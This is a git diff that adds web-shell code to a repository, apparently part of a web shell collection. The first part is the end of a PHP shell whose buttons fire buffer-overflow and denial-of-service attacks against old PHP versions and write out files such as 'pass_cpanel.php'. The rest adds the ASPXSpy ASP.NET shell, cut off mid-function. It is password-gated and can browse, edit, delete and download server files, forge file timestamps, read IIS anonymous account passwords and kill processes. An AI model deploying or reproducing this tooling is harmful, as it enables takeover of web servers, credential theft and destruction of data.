+echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
+echo $te."</td><td valign=top width=25%>".$ts;
+echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
+echo $te."</td><td valign=top width=25%>".$ts;
+echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
+echo $te."</td><td valign=top width=25%>".$ts;
+echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos39').in('submit','submit',0,'BoF [printf()](PHP<5.2.5) and prior').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos40').in('submit','submit',0,'BoF [mssql_connect(), mssql_pconnect()](PHP<4.4.6) and prior').$fe);
+/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
+echo $te."</td></tr></div></table>";
+echo $fs.$table_up1.div_title($lang[$language.'_text211'],'id11111').$table_up2.div('id11111').$ts;
+echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'.htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text228']."</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_vb',10,'vb_hacker.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text230']."</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_cp',10,'pass_cpanel.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo $te.'</div>'.$table_end1.$fe;
+{
+
+
+
+
+
+
+echo $te."</td>".$fe."</tr></div></table>";
+}
+
+
+echo $te."</td></tr></div></table>";
+echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ EgY_SpIdEr | </a> | <a egy_spider@hotmail.com>egy_spider@hotmail.com</a> developer by EgY SpIdEr ]---o</b></font></div></td></tr></table>";
+echo '</body></html>';
+?>
diff --git a/php/aspx.php b/php/aspx.php
new file mode 100644
index 0000000..c108f24
--- /dev/null
+++ b/php/aspx.php
@@ -0,0 +1,2590 @@
+<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+<%@ import Namespace="System.IO"%>
+<%@ import Namespace="System.Diagnostics"%>
+<%@ import Namespace="System.Data"%>
+<%@ import Namespace="System.Management"%>
+<%@ import Namespace="System.Data.OleDb"%>
+<%@ import Namespace="Microsoft.Win32"%>
+<%@ import Namespace="System.Net.Sockets" %>
+<%@ import Namespace="System.Net" %>
+<%@ import Namespace="System.Runtime.InteropServices"%>
+<%@ import Namespace="System.DirectoryServices"%>
+<%@ import Namespace="System.ServiceProcess"%>
+<%@ import Namespace="System.Text.RegularExpressions"%>
+<%@ Import Namespace="System.Threading"%>
+<%@ Import Namespace="System.Data.SqlClient"%>
+<%@ import Namespace="Microsoft.VisualBasic"%>
+<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
+<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<script runat="server">
+/*
+Thanks Snailsor,FuYu,BloodSword,Cnqing,
+Code by Bin
+Make in China
+Blog: http://alikaptanoglu.blogspot.com
+E-mail : ali_kaptanoglu@hotmail.com
+*/
+public string Password="21232f297a57a5a743894a0e4a801fc3";//admin
+public string vbhLn="ASPXSpy";
+public int TdgGU=1;
+protected OleDbConnection Dtdr=new OleDbConnection();
+protected OleDbCommand Kkvb=new OleDbCommand();
+public NetworkStream NS=null;
+public NetworkStream NS1=null;
+TcpClient tcp=new TcpClient();
+TcpClient zvxm=new TcpClient();
+ArrayList IVc=new ArrayList();
+protected void Page_load(object sender,EventArgs e)
+{
+YFcNP(this);
+fhAEn();
+if (!pdo())
+{
+return;
+}
+if(IsPostBack)
+{
+string tkI=Request["__EVENTTARGET"];
+string VqV=Request["__File"];
+if(tkI!="")
+{
+switch(tkI)
+{
+case "Bin_Parent":
+krIR(Ebgw(VqV));
+break;
+case "Bin_Listdir":
+krIR(Ebgw(VqV));
+break;
+case "kRXgt":
+kRXgt(Ebgw(VqV));
+break;
+case "Bin_Createfile":
+gLKc(VqV);
+break;
+case "Bin_Editfile":
+gLKc(VqV);
+break;
+case "Bin_Createdir":
+stNPw(VqV);
+break;
+case "cYAl":
+cYAl(VqV);
+break;
+case "ksGR":
+ksGR(Ebgw(VqV));
+break;
+case "SJv":
+SJv(VqV);
+break;
+case "Bin_Regread":
+tpRQ(Ebgw(VqV));
+break;
+case "hae":
+hae();
+break;
+case "urJG":
+urJG(VqV);
+break;
+}
+if(tkI.StartsWith("dAJTD"))
+{
+dAJTD(Ebgw(tkI.Replace("dAJTD","")),VqV);
+}
+else if(tkI.StartsWith("Tlvz"))
+{
+Tlvz(Ebgw(tkI.Replace("Tlvz","")),VqV);
+}
+else if(tkI.StartsWith("Bin_CFile"))
+{
+YByN(Ebgw(tkI.Replace("Bin_CFile","")),VqV);
+}
+}
+}
+else
+{
+PBZw();
+}
+}
+public bool pdo()
+{
+if(Request.Cookies[vbhLn]==null)
+{
+tZSx();
+return false;
+}
+else
+{
+if (Request.Cookies[vbhLn].Value != Password)
+{
+tZSx();
+return false;
+}
+else
+{
+return true;
+}
+}
+}
+public void tZSx()
+{
+ljtzC.Visible=true;
+ZVS.Visible=false;
+}
+protected void YKpI(object sender,EventArgs e)
+{
+Session.Abandon();
+Response.Cookies.Add(new HttpCookie(vbhLn,null));
+tZSx();
+}
+public void PBZw()
+{
+ZVS.Visible=true;
+ljtzC.Visible=false;
+Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
+Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
+Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('hae','');};";
+Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")";
+Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
+if (AXSbb.Value==string.Empty)
+{
+AXSbb.Value=OElM(Server.MapPath("."));
+}
+Bin_H2_Title.InnerText="File Manager >>";
+krIR(AXSbb.Value);
+}
+public void fhAEn()
+{
+try
+{
+string[] YRgt=Directory.GetLogicalDrives();
+for(int i=0;i<YRgt.Length;i++)
+{
+Control c=ParseControl(" <asp:LinkButton Text='"+mFvj(YRgt[i])+"' ID=\"Bin_Button_Driv"+i+"\" runat='server' commandargument= '"+YRgt[i]+"'/> | ");
+Bin_Span_Drv.Controls.Add(c);
+LinkButton nxeDR=(LinkButton)Page.FindControl("Bin_Button_Driv"+i);
+nxeDR.Command+=new CommandEventHandler(this.iVk);
+}
+}catch(Exception ex){}
+}
+public string OElM(string path)
+{
+if(path.Substring(path.Length-1,1)!=@"\")
+{
+path=path+@"\";
+}
+return path;
+}
+public string nrrx(string path)
+{
+char[] trim={'\\'};
+if(path.Substring(path.Length-1,1)==@"\")
+{
+path=path.TrimEnd(trim);
+}
+return path;
+}
+[DllImport("kernel32.dll",EntryPoint="GetDriveTypeA")]
+public static extern int OMZP(string nDrive);
+public string mFvj(string instr)
+{
+string EuXD=string.Empty;
+int num=OMZP(instr);
+switch(num)
+{
+case 1:
+EuXD="Unknow("+instr+")";
+break;
+case 2:
+EuXD="Removable("+instr+")";
+break;
+case 3:
+EuXD="Fixed("+instr+")";
+break;
+case 4:
+EuXD="Network("+instr+")";
+break;
+case 5:
+EuXD="CDRom("+instr+")";
+break;
+case 6:
+EuXD="RAM Disk("+instr+")";
+break;
+}
+return EuXD.Replace(@"\","");
+}
+public string MVVJ(string instr)
+{
+byte[] tmp=Encoding.Default.GetBytes(instr);
+return Convert.ToBase64String(tmp);
+}
+public string Ebgw(string instr)
+{
+byte[] tmp=Convert.FromBase64String(instr);
+return Encoding.Default.GetString(tmp);
+}
+public void krIR(string path)
+{
+WICxe();
+CzfO.Visible=true;
+Bin_H2_Title.InnerText="File Manager >>";
+AXSbb.Value=OElM(path);
+DirectoryInfo GQMM=new DirectoryInfo(path);
+if(Directory.GetParent(nrrx(path))!=null)
+{
+string bg=OKM();
+TableRow p=new TableRow();
+for(int i=1;i<6;i++)
+{
+TableCell pc=new TableCell();
+if(i==1)
+{
+pc.Width=Unit.Parse("2%");
+pc.Text="0";
+p.CssClass=bg;
+}
+if(i==2)
+{
+pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Parent','"+MVVJ(Directory.GetParent(nrrx(path)).ToString())+"')\">Parent Directory</a>";
+}
+p.Cells.Add(pc);
+UGzP.Rows.Add(p);
+}
+}
+try
+{
+int vLlH=0;
+foreach(DirectoryInfo Bin_folder in GQMM.GetDirectories())
+{
+string bg=OKM();
+vLlH++;
+TableRow tr=new TableRow();
+TableCell tc=new TableCell();
+tc.Width=Unit.Parse("2%");
+tc.Text="0";
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+tr.Cells.Add(tc);
+TableCell HczyN=new TableCell();
+HczyN.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
+tr.Cells.Add(HczyN);
+TableCell LYZK=new TableCell();
+LYZK.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
+tr.Cells.Add(LYZK);
+UGzP.Rows.Add(tr);
+TableCell ERUL=new TableCell();
+ERUL.Text="--";
+tr.Cells.Add(ERUL);
+UGzP.Rows.Add(tr);
+TableCell ZGKh=new TableCell();
+ZGKh.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";
+tr.Cells.Add(ZGKh);
+UGzP.Rows.Add(tr);
+}
+TableRow cKVA=new TableRow();
+cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
+cKVA.Attributes["bgcolor"]="#dddddd";
+TableCell JlmW=new TableCell();
+JlmW.Attributes["colspan"]="6" ;
+JlmW.Attributes["height"]="5";
+cKVA.Cells.Add(JlmW);
+UGzP.Rows.Add(cKVA);
+int aYRwo=0;
+foreach(FileInfo Bin_Files in GQMM.GetFiles())
+{
+aYRwo++;
+string gb=OKM();
+TableRow tr=new TableRow();
+TableCell tc=new TableCell();
+tc.Width=Unit.Parse("2%");
+tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+MVVJ(Bin_Files.Name)+"\">";
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=gb;
+tr.Attributes["onmouseout"]="this.className='"+gb+"';";
+tr.Cells.Add(tc);
+TableCell filename=new TableCell();
+if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
+{
+string url=Request.Url.ToString();
+filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
+}
+else
+{
+filename.Text=Bin_Files.Name;
+}
+TableCell albt=new TableCell();
+albt.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
+TableCell YzK=new TableCell();
+YzK.Text=mTG(Bin_Files.Length);
+TableCell GLpi=new TableCell();
+GLpi.Text="<a href=\"#\" onclick=\"Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('cYAl','"+Bin_Files.Name+"')\">Time</a> ";
+tr.Cells.Add(filename);
+tr.Cells.Add(albt);
+tr.Cells.Add(YzK);
+tr.Cells.Add(GLpi);
+UGzP.Rows.Add(tr);
+}
+string lgb=OKM();
+TableRow oWam=new TableRow();
+oWam.CssClass=lgb;
+for(int i=1;i<4;i++)
+{
+TableCell lGV=new TableCell();
+if(i==1)
+{
+lGV.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
+}
+if(i==2)
+{
+lGV.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('SJv',d_file)};}\">Delete selected</a>";
+}
+if(i==3)
+{
+lGV.ColumnSpan=4;
+lGV.Style.Add("text-align","right");
+lGV.Text=vLlH+" directories/ "+aYRwo+" files";
+}
+oWam.Cells.Add(lGV);
+}
+UGzP.Rows.Add(oWam);
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+public string OKM()
+{
+TdgGU++;
+if(TdgGU % 2==0)
+{
+return "alt1";
+}
+else
+{
+return "alt2";
+}
+}
+public void kRXgt(string qcKu)
+{
+try
+{
+Directory.Delete(qcKu,true);
+xseuB("Directory delete new success !");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(Directory.GetParent(qcKu).ToString());
+}
+public void dAJTD(string sdir,string ddir)
+{
+try
+{
+Directory.Move(sdir,ddir);
+xseuB("Directory Renamed Success !");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+public void Tlvz(string sfile,string dfile)
+{
+try
+{
+File.Move(sfile,dfile);
+xseuB("File Renamed Success !");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+public void YByN(string spath,string dpath)
+{
+try
+{
+File.Copy(spath,dpath);
+xseuB("File Copy Success !");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+public void stNPw(string path)
+{
+try
+{
+Directory.CreateDirectory(AXSbb.Value+path);
+xseuB("Directory created success !");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+public void gLKc(string path)
+{
+if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
+{
+foreach(ListItem item in NdCX.Items)
+{
+if(item.Selected=true)
+{
+item.Selected=false;
+}
+}
+}
+Bin_H2_Title.InnerHtml="Create/ Edit File >>";
+WICxe();
+vrFA.Visible=true;
+if(path.IndexOf(":")< 0)
+{
+Sqon.Value=AXSbb.Value+path;
+}
+else
+{
+Sqon.Value=path;
+}
+if(File.Exists(Sqon.Value))
+{
+StreamReader sr;
+if(NdCX.SelectedItem.Text=="UTF-8")
+{
+sr=new StreamReader(Sqon.Value,Encoding.UTF8);
+}
+else
+{
+sr=new StreamReader(Sqon.Value,Encoding.Default);
+}
+Xgvv.InnerText=sr.ReadToEnd();
+sr.Close();
+}
+else
+{
+Xgvv.InnerText=string.Empty;
+}
+}
+public void ksGR(string path)
+{
+FileInfo fs=new FileInfo(path);
+Response.Clear();
+Page.Response.ClearHeaders();
+Page.Response.Buffer=false;
+this.EnableViewState=false;
+Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fs.Name,System.Text.Encoding.UTF8));
+Response.AddHeader("Content-Length",fs.Length.ToString());
+Page.Response.ContentType="application/unknown";
+Response.WriteFile(fs.FullName);
+Page.Response.Flush();
+Page.Response.Close();
+Response.End();
+Page.Response.Clear();
+}
+public void SJv(string path)
+{
+try
+{
+string[] spdT=path.Split(',');
+for(int i=0;i<spdT.Length-1;i++)
+{
+File.Delete(AXSbb.Value+Ebgw(spdT[i]));
+}
+xseuB("File Delete Success !");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+public void hae()
+{
+try
+{
+File.Delete(Request.PhysicalPath);
+Response.Redirect("http://www.rootkit.net.cn");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+public void cYAl(string path)
+{
+Bin_H2_Title.InnerHtml="Clone file was last modified time >>";
+WICxe();
+zRyG.Visible=true;
+QiFB.Value=AXSbb.Value+path;
+lICp.Value=AXSbb.Value;
+pWVL.Value=AXSbb.Value+path;
+string Att=File.GetAttributes(QiFB.Value).ToString();
+if(Att.LastIndexOf("ReadOnly")!=-1)
+{
+ZhWSK.Checked=true;
+}
+if(Att.LastIndexOf("System")!=-1)
+{
+SsR.Checked=true;
+}
+if(Att.LastIndexOf("Hidden")!=-1)
+{
+ccB.Checked=true;
+}
+if(Att.LastIndexOf("Archive")!=-1)
+{
+fbyZ.Checked=true;
+}
+yUqx.Value=File.GetCreationTimeUtc(pWVL.Value).ToString();
+uYjw.Value=File.GetLastWriteTimeUtc(pWVL.Value).ToString();
+aLsn.Value=File.GetLastAccessTimeUtc(pWVL.Value).ToString();
+}
+public static String mTG(Int64 fileSize)
+{
+if(fileSize<0)
+{
+throw new ArgumentOutOfRangeException("fileSize");
+}
+else if(fileSize >= 1024 * 1024 * 1024)
+{
+return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
+}
+else if(fileSize >= 1024 * 1024)
+{
+return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
+}
+else if(fileSize >= 1024)
+{
+return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
+}
+else
+{
+return string.Format("{0} B",fileSize);
+}
+}
+private bool SGde(string sSrc)
+{
+Regex reg=new Regex(@"^0|[0-9]*[1-9][0-9]*$");
+if(reg.IsMatch(sSrc))
+{
+return true;
+}
+else
+{
+return false;
+}
+}
+public void AdCx()
+{
+string qcKu=string.Empty;
+string mWGEm="IIS://localhost/W3SVC";
+GlI.Style.Add("word-break","break-all");
+try
+{
+DirectoryEntry HHzcY=new DirectoryEntry(mWGEm);
+int fmW=0;
+foreach(DirectoryEntry child in HHzcY.Children)
+{
+if(SGde(child.Name.ToString()))
+{
+fmW++;
+DirectoryEntry newdir=new DirectoryEntry(mWGEm+"/"+child.Name.ToString());
+DirectoryEntry HlyU=newdir.Children.Find("root","IIsWebVirtualDir");
+string bg=OKM();
+TableRow TR=new TableRow();
+TR.Attributes["onmouseover"]="this.className='focus';";
+TR.CssClass=bg;
+TR.Attributes["onmouseout"]="this.className='"+bg+"';";
+TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
+for(int i=1;i<6;i++)
+{
+try
+{
+TableCell tfit=new TableCell();
+switch(i)
+{case 1:
+tfit.Text=fmW.ToString();
+break;
+case 2:
+tfit.Text=HlyU.Properties["AnonymousUserName"].Value.ToString();
+break;
+case 3:
+tfit.Text=HlyU.Properties["AnonymousUserPass"].Value.ToString();
+break;
+case 4:
+StringBuilder sb=new StringBuilder();
+PropertyValueCollection pc=child.Properties["ServerBindings"];
+for (int j=0; j < pc.Count; j++)
+{
+sb.Append(pc[j].ToString()+"<br>");
+}
+tfit.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
+break;
+case 5:
+tfit.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(HlyU.Properties["Path"].Value.ToString())+"')\">"+HlyU.Properties["Path"].Value.ToString()+"</a>";
+break;
+}
+TR.Cells.Add(tfit);
+}
+catch (Exception ex)
+{
+xseuB(ex.Message);
+continue;
+}
+}
+GlI.Controls.Add(TR);
+}
+}
+}
+catch(Exception ex)
+{
+xseuB(ex.Message);
+}
+}
+public ManagementObjectCollection PhQTd(string query)
+{
+ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
+return QS.Get();
+}
+public DataTable cCf(string query)
+{
+DataTable dt=new DataTable();
+int i=0;
+ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
+try
+{
+foreach(ManagementObject m in QS.Get())
+{
+DataRow dr=dt.NewRow();
+PropertyDataCollection.PropertyDataEnumerator oEnum;
+oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
+while(oEnum.MoveNext())
+{
+PropertyData DRU=(PropertyData)oEnum.Current;
+if(dt.Columns.IndexOf(DRU.Name)==-1)
+{
+dt.Columns.Add(DRU.Name);
+dt.Columns[dt.Columns.Count-1].DefaultValue="";
+}
+if(m[DRU.Name]!=null)
+{
+dr[DRU.Name]=m[DRU.Name].ToString();
+}
+else
+{
+dr[DRU.Name]=string.Empty;
+}
+}
+dt.Rows.Add(dr);
+}
+}
+catch(Exception error)
+{
+}
+return dt;
+}
+public void YUw()
+{
+try
+{
+Bin_H2_Title.InnerText="Process >>";
+WICxe();
+DCbS.Visible=true;
+int UEbTI=0;
+Process[] p=Process.GetProcesses();
+foreach(Process sp in p)
+{
+UEbTI++;
+string bg=OKM();
+TableRow tr=new TableRow();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+for(int i=1;i<7;i++)
+{
+TableCell td=new TableCell();
+if(i==1)
+{
+td.Width=Unit.Parse("2%");
+td.Text=UEbTI.ToString();
+tr.Controls.Add(td);
+}
+if(i==2)
+{
+td.Text=sp.Id.ToString();
+tr.Controls.Add(td);
+}
+if(i==3)
+{
+td.Text=sp.ProcessName.ToString();
+tr.Controls.Add(td);
+}
+if(i==4)
+{
+td.Text=sp.Threads.Count.ToString();
+tr.Controls.Add(td);
+}
+if(i==5)
+{
+td.Text=sp.BasePriority.ToString();
+tr.Controls.Add(td);
+}
+if(i==6)
+{
+td.Text="--";
+tr.Controls.Add(td);
+}
+}
+IjsL.Controls.Add(tr);
+}
+}
+catch(Exception error)
+{
+AIz();
+}
+AIz();
+}
+public void AIz()
+{
+try
+{
+Bin_H2_Title.InnerText="Process >>";
+WICxe();
+DCbS.Visible=true;
+int UEbTI=0;
+DataTable dt=cCf("Win32_Process");
+for(int j=0;j<dt.Rows.Count;j++)
+{
+UEbTI++;
+string bg=OKM();
+TableRow tr=new TableRow();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+for(int i=1;i<7;i++)
+{
+TableCell td=new TableCell();
+if(i==1)
+{
+td.Width=Unit.Parse("2%");
+td.Text=UEbTI.ToString();
+tr.Controls.Add(td);
+}
+if(i==2)
+{
+td.Text=dt.Rows[j]["ProcessID"].ToString();
+tr.Controls.Add(td);
+}
+if(i==3)
+{
+td.Text=dt.Rows[j]["Name"].ToString();
+tr.Controls.Add(td);
+}
+if(i==4)
+{
+td.Text=dt.Rows[j]["ThreadCount"].ToString();
+tr.Controls.Add(td);
+}
+if(i==5)
+{
+td.Text=dt.Rows[j]["Priority"].ToString();
+tr.Controls.Add(td);
+}
+if(i==6)
+{
+if( dt.Rows[j]["CommandLine"]!=string.Empty)
+{
+td.Text="<a href=\"javascript:Bin_PostBack('urJG','"+dt.Rows[j]["ProcessID"].ToString()+"')\">Kill</a>";
+}
+else
+{
+td.Text="--";
+}
+tr.Controls.Add(td);
+}
+}
+IjsL.Controls.Add(tr);
+}
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+public void urJG(string pid)
+{
+try
+{
